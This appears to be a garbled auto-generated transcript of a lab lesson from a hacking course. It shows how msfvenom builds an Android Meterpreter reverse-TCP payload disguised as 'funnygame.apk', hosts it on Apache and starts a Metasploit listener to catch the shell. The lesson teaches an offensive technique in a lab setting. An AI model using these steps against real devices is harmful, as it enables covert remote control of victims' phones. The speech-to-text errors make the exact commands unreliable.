We've got our Android device up and running and we have our Calli Linux box ready log in and to give
you an idea of the number of exploits that we can set up using MSF venom, just run MSF venom dash.
Well, this should list the exploits that are included in the Métis framework venom.
This is what allows us to create payloads and then send those to devices.
You can see this is quite several screen voelz tons of Zaidee six.
Tons of windows.
Tons of windows, some thp, so we can run those on Web servers, some OSX, so if you want to test
some Mac OS security, you've got it here to know J.S. Linux BSD.
And then finally, as we get toward the top, we see some Android exploits that are included in here,
including our old friend, interpretor, Android, interpretor slash reverse HTP, Android interpretor,
reverse TCP.
Could it be that easy?
Well, let's find out.
Let's dig in and use MSF venom to set up our own Android interpretor, reverse TCP exploit and see if
we can get it on to our Android device.
So I'm going to clear the screen first and very similar to the way we exploited Windows seven and Windows
10.
We're going to set up MSF Venom, Dasch, Payload Kaspi.
We saw Android.
Slash interpretor.
Slash reverse, underscore Tsipi, we do need an L host, so if you don't remember your Kelly Linux
IP address, you can start a new window.
And Ron and I have config, but we're still running at 10 a.m. at three point five because we made sure
we were on our private network.
So we need to l host.
Equals.
Dot, oh, dot, three, five, and we don't need a file format because there's only one format for
Android devices that's an app or an Android package file, but we do need to tell it where to put the
output.
And I will put that directly on the desktop again and then I'll copy it over.
You can also just output this directly into your var html share folder if you still have that from earlier.
But I will say Dasch output.
Slash, root, slash, desktop slash, let's call this funny game.
RPK funny game APIC just like our Windows interpreter.
This is going to set up an Android version of the interpreter, a command line shell that's going to
give us access to that Android device, just like the Windows interpreter example's did.
And we have had to specify our localhost that tend not Odah three point five so that when that reverse
TCP comes calling, our localhost will be where it calls back to and then we've output that to the desktop
as funny game today, B.K., it should take just a moment to run and now you'll notice I have a funny
game that apk file right here on my desktop.
Well, if you still have your var w-w html share folder from the Windows seven and Windows 10 hacks,
we should just be able to sepi that desktop, that desktop slash.
Funny.
Game that apk two hour slash bar, slash W-W tab, slash h t tab, S.H. tab and now if we lose that
bar w w w html share.
We should see the game, daddy, see the fun video to see that we created for our Windows seven and
Windows 10 and now we have funny game, that APIC, that Android package file.
It's going to allow us to run this mature on a vulnerable Android device.
So let's make sure that the Apache server is running service.
Pache to start, then let's go ahead and run the MSF council so we can listen using that multi handler
MSF console.
You can also just run Métis plate from any of your links under applications or here on the left hand
bar.
We'll say use exploit multi endler, set the payload.
As Android slash interpreter.
Shlash reverse tab t tab reverse Tsipi.
Just like before, we want to set our losed.
To 10 odon three, not five hour Calli Linux, IP address, whatever yours is, goes right there.
And we can show options just like we've done before.
Those are the only two required things they'll host in the airport.
So we're ready to run the exploit exploit.
That's Jay Z.
And so now we have an interpreter listening for any Android device to call in using that 10 DataDot
three, not five apk file, it's going to bring them back to this machine.
So we'll switch back over to Android and we'll actually will change your browser settings.
So that will be able to download this file effectively.
And then we'll give this exploit a try.
We'll see in the next lesson.